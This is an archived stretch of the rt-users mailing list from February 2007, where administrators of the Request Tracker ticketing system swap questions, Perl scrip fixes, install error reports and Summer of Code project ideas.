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From pape-rt at inf.fu-berlin.de  Tue Feb 27 03:54:55 2007
From: pape-rt at inf.fu-berlin.de (Dirk Pape)
Date: Tue, 27 Feb 2007 09:54:55 +0100
Subject: [rt-users] Multiple queues for single ticket?
In-Reply-To: <26face530702261928y2d73fb7sc6d2692908966eb2@mail.gmail.com>
References: <26face530702261928y2d73fb7sc6d2692908966eb2@mail.gmail.com>
Message-ID: <80CD0A24F8E46DC560BEF2EF@idefix.mi.fu-berlin.de>

Hello,

--Am 26. Februar 2007 20:28:42 -0700 schrieb Kelly Jones 
<kelly.terry.jones at gmail.com>:

> We sometimes get tickets that require actions by people in queues X,
> Y, and Z. The three queues are otherwise unrelated. The ticket has
> "intertwined" requests: if the admins of queue X take a certain
> action, it will affect what the admins of Y and Z need to do.
>
> Ideally, the ticket would belong to all three queues: X admins would
> see it as "native" to queue X, Y admins would see it as native to
> queue Y, etc. X admins could see comments made by Y and Z admins, and
> so on.
>
> Is there a way to do this?

this is afaIk not possible in RT.

What we do is:

Have and leave the ticket in one Queue. This is for the management overview 
and we call such Tickets "Metatickets" and use them for compound tasks 
(what you are looking for) and for problems (in the language of ITIL) to 
refer to incidences and evidences of a problem.

For each subtask we create a new ticket in the queue where the subtask 
belongs to. You have options here:

a) you can use the depends-on-depended-by-relationship
b) you can use the parent-child-relationship

in fact we use both in different contexts (a=real dependency and 
b=composition).

Have the AdminCCs work on their subtasks.

Managers can look at the "Metaticket" and see the tree of 
dependencies/childs together with their statuses in the metadata of the 
metaticket.

Resolve the metaticket in accordance with the status of the subtasks. You 
can even automate this with a Scrip (we don't) or create a approval 
workflow (we dont) with this.

Regards,
Dirk.


-- 
Dr. Dirk Pape (eAS - Projektleitung Campus Management)
Freie Universitaet Berlin
Grunewaldstr. 34a, 12165 Berlin
Tel. +49 (0)30 838 75143, Fax. +49 (0)30 838 54654


From CLoos at netcologne.de  Tue Feb 27 04:40:30 2007
From: CLoos at netcologne.de (Loos, Christian)
Date: Tue, 27 Feb 2007 10:40:30 +0100
Subject: AW: [rt-users] assign ticket owner to nobody on resolve
Message-ID: <657C603258FA594DB9A8C49EB86631190BD65057@ncmail.netcologne.intern>

Hello Steve,

with argument 'Force' everything works fine.

Thanks
Chris

-----Urspr?ngliche Nachricht-----
Von: Stephen Turner [mailto:sturner at MIT.EDU]
Gesendet: Montag, 26. Februar 2007 17:50
An: Loos, Christian; rt-users at lists.bestpractical.com
Betreff: Re: [rt-users] assign ticket owner to nobody on resolve


At Monday 2/26/2007 11:02 AM, Loos, Christian wrote:
>Hello,
>
>ich take the script from wiki 
>http://wiki.bestpractical.com/index.cgi?AutoSetOwner an modified it.
>My script looks like:
>
>condition: on resolve
>action: user defined
>template: global template: blank
>stage: transaction create
>
>custom action preparation code:
>return 1;
>
>custom action cleanup code:
>my $owner = $RT::Nobody->id;
>my ($status, $msg) = $self->TicketObj->SetOwner( $owner );
>unless( $status ) {
>   $RT::Logger->error( "Impossible to assign the ticket to $owner on 
> resolve: $msg" );
>   return undef;
>}
>return 1;
>
>
>The error log says:
>Impossible to assign the ticket to 10 on resolve: You can only 
>reassign tickets that you own or that are unowned ((eval 515):4)
>
>On this point i am the owner of the ticket.
>If i change the owner on the resolve page everything works fine.
>
>Why does this script doesn't work?
>Any ideas?

I'd guess that when the scrip runs, the CurrentUser is not you - so 
RT thinks someone else is trying to change the ticket ownership. Try 
adding'Force' as a second argument to the SetOwner call.

Look in $RTHOME/lib/RT/Ticket_Overlay.pm   ( SetOwner method) to see 
what's going on

Steve   



From diablo at iasi.roedu.net  Tue Feb 27 04:34:34 2007
From: diablo at iasi.roedu.net (Subredu Manuel)
Date: Tue, 27 Feb 2007 11:34:34 +0200
Subject: [rt-users] Preventing a ticket from closing
Message-ID: <45E3FB2A.3050007@iasi.roedu.net>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi,

we have from time to time situation when our people, forget to take the
ownership of a ticket before closing it, and we would like to prevent that.
 The problem is that I don't know were to start searching. Is it
possible that a scrip to deny the closing of a ticket if owner is set to
nobody ?
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.6 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFF4/sqjGXbUSvc3AsRAidRAJsFQFlwhpFxGI3dqgG9/BJ7VrUe5QCfZyEd
KqlLAUUrzY/Lwg/T+hYhrUw=
=oIPL
-----END PGP SIGNATURE-----


From marouane.himdi at kereval.com  Tue Feb 27 05:19:19 2007
From: marouane.himdi at kereval.com (Marouane HIMDI)
Date: Tue, 27 Feb 2007 11:19:19 +0100
Subject: [rt-users] Preventing a ticket from closing
In-Reply-To: <45E3FB2A.3050007@iasi.roedu.net>
References: <45E3FB2A.3050007@iasi.roedu.net>
Message-ID: <45E405A7.4000306@kereval.com>

Try this scrip http://wiki.bestpractical.com/index.cgi?AutoSetOwner
So the owner will be set automatically to the last person who close the 
ticket
I think , this is the best way to adresse your problem

best regards

Subredu Manuel a ?crit :
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Hi,
>
> we have from time to time situation when our people, forget to take the
> ownership of a ticket before closing it, and we would like to prevent that.
>  The problem is that I don't know were to start searching. Is it
> possible that a scrip to deny the closing of a ticket if owner is set to
> nobody ?
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.4.6 (GNU/Linux)
> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
>
> iD8DBQFF4/sqjGXbUSvc3AsRAidRAJsFQFlwhpFxGI3dqgG9/BJ7VrUe5QCfZyEd
> KqlLAUUrzY/Lwg/T+hYhrUw=
> =oIPL
> -----END PGP SIGNATURE-----
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com
>
>
>   


From torsten.brumm at googlemail.com  Tue Feb 27 07:15:19 2007
From: torsten.brumm at googlemail.com (Torsten Brumm)
Date: Tue, 27 Feb 2007 13:15:19 +0100
Subject: [rt-users] CLI Question - Add Users to group per Scrip
In-Reply-To: <45D49F81.6070506@oracle.com>
References: <C1FA430B.47DA%torsten.brumm@kuehne-nagel.com>
	<45D49F81.6070506@oracle.com>
Message-ID: <bdbd084b0702270415v6d10d93bu79b16dbe9ea1836e@mail.gmail.com>

Hi Joe,

your scrip looks fine so far, but i get a strange error message:

[Tue Feb 27 12:29:07 2007] [crit]: Can't call method "AddMember" on an
undefined value at AddUsersToGroups.pl line 38. (/opt/rt36/lib/RT.pm:346)
Can't call method "AddMember" on an undefined value at
AddUsersToGroups.plline 38.

And line 38 looks like:

my($status, $msg) = $group->{$groupname}->AddMember($user->id);
I'm not sure if the AddMember is defined in this routine, but i found:
SetMemberId VALUE<http://rt36-messenger.int.kn/Developer/Perldoc/Body.html?n=RT::GroupMember#___top>

Have you tried it?

Torsten
2007/2/15, Joe Casadonte <joe.casadonte at oracle.com>:
>
> On 2/15/2007 11:04 AM, Torsten Brumm | Kuehne + Nagel wrote:
>
> > Again just another question for the CLI Part. Has anyone a idea how to
> add a
> > set of users per scrip to a group?
> >
> > Lets say, i have a list of 500 User that are needed to be member of a
> single
> > group?
>
> I did something similar via a full perl script (as opposed to using the
> CLI).  Here are some excerpts (untested in this form):
>
> #!/usr/bin/perl -w
>
> use strict;
> use lib "/opt/rt3/lib";
>
> use RT;
> use RT::Interface::CLI qw(CleanEnv GetCurrentUser);
> use RT::Group;
> use RT::User;
>
> CleanEnv();
> RT::LoadConfig();
> RT::Init();
>
> my($groupname) = 'FooBar';
> my($group) = RT::Group->new($RT::SystemUser);
> $group->LoadUserDefinedGroup($groupname);
> die qq([ERROR] Cannot load group "$groupname"\n) unless $group->id;
>
> my(@users) = GetListOfUsernames();
> foreach my $username (@users) {
>     my($user) = RT::User->new($RT::SystemUser);
>     $user->Load($username);
>     die qq([ERROR] Could not load user "$username" -- see log for
> details\n) unless $user->id;
>
>     my($status, $msg) = $Groups->{$groupname}->AddMember($user->id);
>     die qq([ERROR] Cannot add user "$id" to group "$groupname" - $msg\n)
> unless $status;
> }
>
> --
> Regards,
>
>
> joe
> Joe Casadonte
> joe.casadonte at oracle.com
>
> ==========                                                  ==========
> == The statements and opinions expressed here are my own and do not ==
> == necessarily represent those of Oracle Corporation.               ==
> ==========                                                  ==========
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com
>



-- 
MFG

Torsten Brumm

http://www.torsten-brumm.de
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From boesemar at gmx.de  Tue Feb 27 07:42:32 2007
From: boesemar at gmx.de (Martin Boese)
Date: Tue, 27 Feb 2007 12:42:32 +0000
Subject: [rt-users] Search for latest changed tickets
Message-ID: <200702271242.32508.boesemar@gmx.de>

Hello,

I'd like to create a search for the latest and closed tickets to put on 'at a 
glance'.
Couldn't do it with the Search Builder, so I added this query:

> (Status = 'resolved' OR Status = 'rejected') AND LastUpdated > (now() - 
> interval '3 days') 

However when I try to save it I get the following error:

> Error near ->(<- expecting a VALUE in '(Status = 'resolved' OR Status
> = 'rejected') AND LastUpdated > (now() - interval '3 days')' 
> Error near ->(<- expecting a OP in '(Status = 'resolved' OR Status
> = 'rejected') AND LastUpdated > (now() - interval '3 days')' 
> Error near ->'3 days'<- expecting a OP in '(Status = 'resolved' OR Status
> = 'rejected') AND LastUpdated > (now() - interval '3 days')' 
> Unknown field: interval

Clicking on Show Results I get the right result so I assume the query is fine. 
But RT doesn't allow to save it. Any hints.

RT: 3.6.3 on FreeBSD 6 and Postgresql 8

martin



From christoph.lange at gmail.com  Tue Feb 27 08:18:03 2007
From: christoph.lange at gmail.com (Christoph Lange)
Date: Tue, 27 Feb 2007 14:18:03 +0100
Subject: [rt-users] Marking tickets with new requestor answers in 'at a
	glance'
Message-ID: <580828440702270518u6a3f67fai50b51dffd95451ac@mail.gmail.com>

Hello,

a few days ago I missed an answer of a requestor in a ticket. I don't want
to get copies via email, but have tickets with new answers marked somehow in
the 'at a glance' section. Is this possible somehow? (a star or different
colour or something ...).

Christoph.

-- 
Dipl.-Biol. Christoph Lange
Dr.-Ruckert-Str. 9b
28865 Lilienthal
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From mikko.lipasti at polarcom.fi  Tue Feb 27 09:04:06 2007
From: mikko.lipasti at polarcom.fi (Mikko Lipasti)
Date: Tue, 27 Feb 2007 14:04:06 +0000 (GMT)
Subject: [rt-users] Marking tickets with new requestor answers in 'at a
	glance'
In-Reply-To: <580828440702270518u6a3f67fai50b51dffd95451ac@mail.gmail.com>
Message-ID: <25619096.328561172585046259.JavaMail.root@unx-s-manc3>

----- "Christoph Lange" <christoph.lange at gmail.com> wrote:
> a few days ago I missed an answer of a requestor in a ticket. 
> I don't want to get copies via email, but have tickets with new 
> answers marked somehow in the 'at a glance' section. Is this 
> possible somehow? (a star or different colour or something ...).

I'm interested in this kind of functionality as well, but not just for 'at a glance' view. For me, a sufficient condition would be LastUpdatedBy != Owner.

Perhaps render the line in bold typeface like unread messages in e-mail clients?

- Mikko


From micklc at gmail.com  Tue Feb 27 12:54:16 2007
From: micklc at gmail.com (Mickey Chandler)
Date: Tue, 27 Feb 2007 11:54:16 -0600
Subject: [rt-users] Install Problems
Message-ID: <7c3c4fac0702270954g5e05b46ep581057f8b1f2396@mail.gmail.com>

After I did an upgrade from Fedora Core 4 to Fedora Core 6, RT stopped
working.  The server was returning 500 errors.  That was probably
something to do with FastCGI.

At any rate, I decided to rip everything out and start over again
using the RPM now in Fedora Extras.

When I try to restart the webserver after installing the RPM, I get this error:

[Tue Feb 27 11:39:42 2007] [error] Couldn't load RT config file
/etc/rt3/RT_SiteConfig.pm as user root / group root.\nThe file is
owned by user root and group root.\nThis usually means that the
user/group your webserver is running as cannot read the file.\nBe
careful not to make the permissions on this file too liberal, because
it contains database\npasswords.  You may need to put the webserver
user in the appropriate group (root) or change\npermissions be able to
run succesfully\nCan't locate /usr/local/etc/rt3/IR/RTIR_Config.pm in
@INC (@INC contains: /usr/local/lib/rt3/lib
/usr/lib/perl5/vendor_perl/5.8.8/i386-linux-thread-multi
/usr/lib/perl5/vendor_perl/5.8.8
/usr/lib/perl5/site_perl/5.8.8/i386-linux-thread-multi
/usr/lib/perl5/site_perl/5.8.7/i386-linux-thread-multi
/usr/lib/perl5/site_perl/5.8.6/i386-linux-thread-multi
/usr/lib/perl5/site_perl/5.8.5/i386-linux-thread-multi
/usr/lib/perl5/site_perl/5.8.8 /usr/lib/perl5/site_perl/5.8.7
/usr/lib/perl5/site_perl/5.8.6 /usr/lib/perl5/site_perl/5.8.5
/usr/lib/perl5/site_perl
/usr/lib/perl5/vendor_perl/5.8.7/i386-linux-thread-multi
/usr/lib/perl5/vendor_perl/5.8.6/i386-linux-thread-multi
/usr/lib/perl5/vendor_perl/5.8.5/i386-linux-thread-multi
/usr/lib/perl5/vendor_perl/5.8.7 /usr/lib/perl5/vendor_perl/5.8.6
/usr/lib/perl5/vendor_perl/5.8.5 /usr/lib/perl5/vendor_perl
/usr/lib/perl5/5.8.8/i386-linux-thread-multi /usr/lib/perl5/5.8.8 .
/etc/httpd) at /etc/rt3/RT_SiteConfig.pm line 35.\nCompilation failed
in require at /usr/lib/perl5/vendor_perl/5.8.8/RT.pm line 141.\nBEGIN
failed--compilation aborted at /usr/sbin/webmux.pl line
76.\nCompilation failed in require at (eval 2) line 1.\n
[Tue Feb 27 11:39:42 2007] [error] Can't load Perl file:
/usr/sbin/webmux.pl for server gandolf.whizardries.com:0, exiting...

I'm obviously loathe to add apache to my root group and changing the
ownership of the file to apache:apache hasn't worked, so I figured
that this must mean that I'm doing something wrong.

Any ideas?


From p.adaktylos at christely.com  Tue Feb 27 14:43:12 2007
From: p.adaktylos at christely.com (Adaktylos Philipp)
Date: Tue, 27 Feb 2007 20:43:12 +0100
Subject: [rt-users] RTFM problems creating and searching articles
In-Reply-To: <ED0F96A3E94A3D49A1D9AEE1D70C15290777B2@chrserver02.christely.inhouse>
References: <ED0F96A3E94A3D49A1D9AEE1D70C15290777B2@chrserver02.christely.inhouse>
Message-ID: <ED0F96A3E94A3D49A1D9AEE1D70C1529077A7E@chrserver02.christely.inhouse>

hi list,
i was able to solve one of my issues with RTFM by myself.
the problem description was as follows:

> hi list,
> i installed RT 3.4.6, AssetTracker 1.2.3 and RTFM 2.2.0RC4 (upgraded
> from 2.1.40) on Ubuntu 6.06 LTS (Apache 2.0.55, Perl 5.8.7).
> so far everything works quite fine, but i still have some issues with
> RTFM:
>
> 1.) the class sort order in RTFM is not alphabetical. this is really
> annoying. is there a way to change that? if not could someone give me
a
> hint how to customize my RTFM installation to achieve this?
> btw. this issue is already listed in the RTFM bug list since nov 2003
> (http://rt3.fsck.com/Ticket/Display.html?id=4140 login: guest pwd:
> guest)

Cause:
in /opt/rt3/local/lib/RT/FM/ClassCollection.pm in the _Init sub it says:
  # By default, order by name
  $self->OrderBy( ALIAS => 'main',
                  FIELD => 'SortOrder',
                  ORDER => 'ASC');
i looked up SortOrder in my database and all these fields were 0.

Solution:
The obvious solution is to change 'SortOrder' to 'Name'. But as stated
in the files comments its better to create a file called
ClassCollection_Local.pm and make the changes there.
My ClassCollection_Local.pm looks like this:
---------------------------------------
use strict;

package RT::FM::ClassCollection;

no warnings qw/redefine/;


sub _Init {
    my $self = shift;
    $self->{'table'} = 'FM_Classes';
    $self->{'primary_key'} = 'id';


    # By default, order by name
    $self->OrderBy( ALIAS => 'main',
                    FIELD => 'Name',
                    ORDER => 'ASC');

    return ( $self->SUPER::_Init(@_) );
}

1;
---------------------------------------

Resources:
http://search.cpan.org/dist/DBIx-SearchBuilder/SearchBuilder.pm

greetings

Philipp Adaktylos


From henry.w.cerro at accenture.com  Tue Feb 27 16:28:45 2007
From: henry.w.cerro at accenture.com (henry.w.cerro at accenture.com)
Date: Tue, 27 Feb 2007 15:28:45 -0600
Subject: [rt-users] Error with initialize-database on Solaris 9
Message-ID: <D6868A200A343C4196BCE194304B7C007B4A0E@AMRXM2111.dir.svc.accenture.com>

Trying to install RT 3.6.3 on a Solaris 9 machine, running mysql.  Install proceeded without much difficulty until I got to the "make initialize-database" step, at which point the install returned the following:
 
Now creating a database for RT.
Creating mysql database rt3.
Now populating database schema.
Creating database schema.
Done setting up database schema.
Now inserting database ACLs
Done setting up database ACLs.
Now inserting RT core system objects
Checking for existing system user...not found.  This appears to be a new installation.
Creating system user...make: *** [initialize-database] Bus Error (core dumped)

Have not found any insights on how to remedy this problem.  Any ideas?
 
Thanks!


This message is for the designated recipient only and may contain privileged, proprietary, or otherwise private information.  If you have received it in error, please notify the sender immediately and delete the original.  Any other use of the email by you is prohibited.


From joe at netmusician.org  Tue Feb 27 18:19:32 2007
From: joe at netmusician.org (Joe Auty)
Date: Tue, 27 Feb 2007 18:19:32 -0500
Subject: [rt-users] out of memory during log turnover
Message-ID: <561DABBF-37C1-4DF0-8C91-1061B90F7F49@netmusician.org>

Hello,

Whenever my logs are turned over, i get the following error message:

Feb 27 18:00:00 netmusician newsyslog[30330]: logfile turned over due  
to size>5000K
Out of memory during request for 43 bytes, total sbrk() is 11386880  
bytes!
Callback called exit at /usr/local/lib/perl5/site_perl/5.8.8/Locale/ 
Maketext/Lexicon.pm line 475, <GEN0> line 1430.
BEGIN failed--compilation aborted at /usr/local/rt3/bin/webmux.pl  
line 76.
Callback called exit at /usr/local/rt3/bin/webmux.pl line 76.



Is this a known issue?





-----------
Joe Auty
NetMusician: web publishing software for musicians
http://www.netmusician.org
joe at netmusician.org


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From jmatthews at renoimage.com  Tue Feb 27 20:09:15 2007
From: jmatthews at renoimage.com (Josh Matthews)
Date: Tue, 27 Feb 2007 17:09:15 -0800
Subject: [rt-users] I want my AT...uh..."V"?...
Message-ID: <C20A163B.2108%jmatthews@renoimage.com>

I've heard so many groovy things about this AT thing that I'd love to give
it a try.  Sadly, I am finding it quite difficult to get my hands on it: no
love from Google, CPAN, Ubuntu's apt repositories, and as we all know the AT
site seems to have up and gotten itself access denied.  If you've got a link
or a secret passphrase/handshake... Something.  Oh, and I'm running RT3.4 I
that makes a difference.

Josh

-- 
Josh Matthews
Network Administrator
Reno Diagnostic Centers
590 Eureka Avenue
Reno, NV  89512
p: 775.323.5083 x243
f: 775.785.8731
e: jmatthews at renoimage.com
http://www.renodiagnosticcenters.com

"I am not young enough to know everything"
         -Oscar Wilde



From joe.casadonte at oracle.com  Wed Feb 28 08:53:31 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Wed, 28 Feb 2007 08:53:31 -0500
Subject: [rt-users] CLI Question - Add Users to group per Scrip
In-Reply-To: <bdbd084b0702270415v6d10d93bu79b16dbe9ea1836e@mail.gmail.com>
References: <C1FA430B.47DA%torsten.brumm@kuehne-nagel.com>	
	<45D49F81.6070506@oracle.com>
	<bdbd084b0702270415v6d10d93bu79b16dbe9ea1836e@mail.gmail.com>
Message-ID: <45E5895B.90000@oracle.com>

On 2/27/2007 7:15 AM, Torsten Brumm wrote:

> And line 38 looks like:
> 
> my($status, $msg) = $group->{$groupname}->AddMember($user->id);
> I'm not sure if the AddMember is defined in this routine, but i found:

Cut and paste error on my part.  I think that line should read:

my($status, $msg) = $group->AddMember($user->id);

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From kamber.dalal at verizonbusiness.com  Wed Feb 28 09:54:22 2007
From: kamber.dalal at verizonbusiness.com (Dalal, Kamber Z (Kamber))
Date: Wed, 28 Feb 2007 14:54:22 +0000
Subject: [rt-users] Default Stylesheet
Message-ID: <2ACF6489BC112B4F9C8956BADB9228E60592962D@ASHEVS005.mcilink.com>

I never got to see RT version 3.4.  Is that stylesheet show the 'Home,
Tickets, Tools, Display, History, etc.  ' links on the left side instead
of on the top?
 
If not, how do I get the WEB Interface to show those links on the
leftside, vertically?  Does the SidebySide Ticket screen take care of
that?
 
Thank you,
Kamber Dalal
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From jesse at bestpractical.com  Wed Feb 28 14:29:40 2007
From: jesse at bestpractical.com (Jesse Vincent)
Date: Wed, 28 Feb 2007 14:29:40 -0500
Subject: [rt-users] Google Summer of Code
Message-ID: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>

I'd love to submit RT to Google's Summer of Code this summer.  It's  
probably time to start brainstorming projects.

What would you like to do/see done as part of a RT summer of code  
project?

Jesse
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From pturner at marchex.com  Wed Feb 28 14:50:40 2007
From: pturner at marchex.com (Patrick Turner)
Date: Wed, 28 Feb 2007 11:50:40 -0800
Subject: [rt-users] Clickable Links
Message-ID: <50ADA4843A8CBC4298F6D1E4B487CEC4060ECE03@exchbe1sea.windows.marchex.com>

I recently enabled Clickable Links
(http://wiki.bestpractical.com/index.cgi?ClickableLinks) in RT, and it's
working great.

However,  a few folks have reported broken links or links running off of
the page.

 

Basically:

If you add the link in IE, then it breaks because IE doesn't expand the
Comment box, it just wraps within the box.

If you add the link in Firefox, then it expands the box so that the link
doesn't wrap, so when saved, the link still works.

 

If you then look at the link in IE, it knows to wrap it, and the link
still works.

If you look at the link in Firefox, the link works, but it scrolls off
of the screen.  Which, doesn't look good, but you can either scroll or
just click the link to follow it.

 

This might be purely a browser issue, not RT related at all, but I
thought I'd see if anyone else has run into this issue and come up with
a solution.

 

Thanks much!

 

 

Patrick Turner

Sysems Administrator - Corporate Operations

Marchex, Inc.

 

This e-mail message and any attachments are solely for intended
recipients, and may contain information that is privileged and
confidential.  If you are not the intended recipient, any dissemination,
distribution or copying is strictly prohibited.  If you believe that you
may have received this message in error, please immediately notify the
sender by replying to this e-mail message.

 

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From pturner at marchex.com  Wed Feb 28 14:57:48 2007
From: pturner at marchex.com (Patrick Turner)
Date: Wed, 28 Feb 2007 11:57:48 -0800
Subject: [rt-users] another test
Message-ID: <50ADA4843A8CBC4298F6D1E4B487CEC4060ECE09@exchbe1sea.windows.marchex.com>

Subject: [Marchex #61437] test from pturner
Priority: 2

More information regarding this issue.



Patrick Turner
Sysems Administrator - Corporate Operations
Marchex, Inc.

t 206.331.3492
e pturner at marchex.com

This e-mail message and any attachments are solely for intended
recipients, and may contain information that is privileged and
confidential.  If you are not the intended recipient, any dissemination,
distribution or copying is strictly prohibited.  If you believe that you
may have received this message in error, please immediately notify the
sender by replying to this e-mail message.




From pturner at marchex.com  Wed Feb 28 14:59:08 2007
From: pturner at marchex.com (Patrick Turner)
Date: Wed, 28 Feb 2007 11:59:08 -0800
Subject: [rt-users] RE: another test
In-Reply-To: <50ADA4843A8CBC4298F6D1E4B487CEC4060ECE09@exchbe1sea.windows.marchex.com>
References: <50ADA4843A8CBC4298F6D1E4B487CEC4060ECE09@exchbe1sea.windows.marchex.com>
Message-ID: <50ADA4843A8CBC4298F6D1E4B487CEC4060ECE0A@exchbe1sea.windows.marchex.com>

Oh for...
Really sorry about that.  Stupid auto-complete email addressing.



Patrick Turner
Sysems Administrator - Corporate Operations
Marchex, Inc.

t 206.331.3492
e pturner at marchex.com

This e-mail message and any attachments are solely for intended
recipients, and may contain information that is privileged and
confidential.  If you are not the intended recipient, any dissemination,
distribution or copying is strictly prohibited.  If you believe that you
may have received this message in error, please immediately notify the
sender by replying to this e-mail message.


> -----Original Message-----
> From: Patrick Turner
> Sent: Wednesday, February 28, 2007 11:58 AM
> To: Patrick Turner
> Cc: rt-users at lists.bestpractical.com
> Subject: another test
> 
> Subject: [Marchex #61437] test from pturner
> Priority: 2
> 
> More information regarding this issue.
> 
> 
> 
> Patrick Turner
> Sysems Administrator - Corporate Operations
> Marchex, Inc.
> 
> t 206.331.3492
> e pturner at marchex.com
> 
> This e-mail message and any attachments are solely for intended
> recipients, and may contain information that is privileged and
> confidential.  If you are not the intended recipient, any
> dissemination, distribution or copying is strictly prohibited.  If you
> believe that you may have received this message in error, please
> immediately notify the sender by replying to this e-mail message.
> 



From pkime at Shopzilla.com  Wed Feb 28 15:41:20 2007
From: pkime at Shopzilla.com (Philip Kime)
Date: Wed, 28 Feb 2007 12:41:20 -0800
Subject: [rt-users] sessions table size
Message-ID: <9C0091F428E697439E7A773FFD083427A92AC4@szexchange.Shopzilla.inc>

My sessions table in rt (MySQL) is 1.2Gb. Is this normal? I thought it
was fairly temporary data? We have only about 100 users, more automated
jobs really but I was surprised to see this so large. It's accounts for
nearly 50% of the size of the whole DB.
 
PK
 
--
Philip Kime
NOPS Systems Architect
310 401 0407
 
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From jlee at pbu.edu  Wed Feb 28 15:36:07 2007
From: jlee at pbu.edu (Jay Lee)
Date: Wed, 28 Feb 2007 15:36:07 -0500
Subject: [rt-users] Google Summer of Code
In-Reply-To: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
Message-ID: <45E5E7B7.6070703@pbu.edu>

Jesse Vincent wrote:
> I'd love to submit RT to Google's Summer of Code this summer.  It's 
> probably time to start brainstorming projects.
>
Good idea.
> What would you like to do/see done as part of a RT summer of code 
> project?
>
AJAX interface would be my first thought, 3.6 went a long way towards 
simplifying the interface for users but I think there's still room for 
improvement in the layout.

Jay


From lesmikesell at gmail.com  Wed Feb 28 16:11:19 2007
From: lesmikesell at gmail.com (Les Mikesell)
Date: Wed, 28 Feb 2007 15:11:19 -0600
Subject: [rt-users] Google Summer of Code
In-Reply-To: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
Message-ID: <45E5EFF7.9090706@gmail.com>

Jesse Vincent wrote:
> I'd love to submit RT to Google's Summer of Code this summer.  It's 
> probably time to start brainstorming projects.
> 
> What would you like to do/see done as part of a RT summer of code project?

It might take more than a summer, depending on how close-coupled you try 
to make it, but I'd love to see a connection between RT and opennms 
(http://www.opennms.org/index.php/Main_Page) so that network problems 
could open RT tickets automatically (that could probably be done by 
email now), and from the ticket you would have a link to the opennms 
node and asset info and history. One complication would be how to do 
this in a way that would still make sense if you delete network nodes or 
start over again with a new opennms database.   A link to a twiki page 
using some convention for naming would be nice too.

-- 
   Les Mikesell
    les at futuresource.com



From kellermg at potsdam.edu  Wed Feb 28 16:23:47 2007
From: kellermg at potsdam.edu (Matthew Keller)
Date: Wed, 28 Feb 2007 16:23:47 -0500
Subject: [rt-users] Google Summer of Code
In-Reply-To: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
Message-ID: <1172697827.3854.97.camel@mlap>

Billing and accounts. O:-)

On Wed, 2007-02-28 at 14:29 -0500, Jesse Vincent wrote:
> I'd love to submit RT to Google's Summer of Code this summer.  It's  
> probably time to start brainstorming projects.
> 
> What would you like to do/see done as part of a RT summer of code  
> project?
> 
> Jesse
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
> 
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
> 
> 
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media. 
> Buy a copy at http://rtbook.bestpractical.com



From joe.casadonte at oracle.com  Wed Feb 28 16:26:34 2007
From: joe.casadonte at oracle.com (Joe Casadonte)
Date: Wed, 28 Feb 2007 16:26:34 -0500
Subject: [rt-users] Google Summer of Code
In-Reply-To: <45E5E7B7.6070703@pbu.edu>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
	<45E5E7B7.6070703@pbu.edu>
Message-ID: <45E5F38A.6070000@oracle.com>

On 2/28/2007 3:36 PM, Jay Lee wrote:

> AJAX interface would be my first thought, 3.6 went a long way towards 
> simplifying the interface for users but I think there's still room for 
> improvement in the layout.

Exactly what I was thinking!

-- 
Regards,


joe
Joe Casadonte
joe.casadonte at oracle.com

==========                                                  ==========
== The statements and opinions expressed here are my own and do not ==
== necessarily represent those of Oracle Corporation.               ==
==========                                                  ==========


From jarends at uiuc.edu  Wed Feb 28 16:28:37 2007
From: jarends at uiuc.edu (John Arends)
Date: Wed, 28 Feb 2007 15:28:37 -0600
Subject: [rt-users] Google Summer of Code
In-Reply-To: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
References: <15E6561A-3206-43B7-BD28-1C7BAE7E6C79@bestpractical.com>
Message-ID: <B2F2C466-282A-4821-982B-8D1CCF0A6D09@uiuc.edu>

The ability to use AD (or LDAP) to hold group members.

On Feb 28, 2007, at 1:29 PM, Jesse Vincent wrote:

> I'd love to submit RT to Google's Summer of Code this summer.  It's  
> probably time to start brainstorming projects.
>
> What would you like to do/see done as part of a RT summer of code  
> project?
>
> Jesse
> _______________________________________________
> http://lists.bestpractical.com/cgi-bin/mailman/listinfo/rt-users
>
> Community help: http://wiki.bestpractical.com
> Commercial support: sales at bestpractical.com
>
>
> Discover RT's hidden secrets with RT Essentials from O'Reilly Media.
> Buy a copy at http://rtbook.bestpractical.com



From Ryan.Hardester at ci.tracy.ca.us  Wed Feb 28 16:35:24 2007
From: Ryan.Hardester at ci.tracy.ca.us (Ryan Hardester)
Date: Wed, 28 Feb 2007 13:35:24 -0800
Subject: [rt-users] User configurable auto reply.
Message-ID: <C7C9E0533C7E6A49AB4586C392C9650001F2C1CB@mail1.COT.PVT>

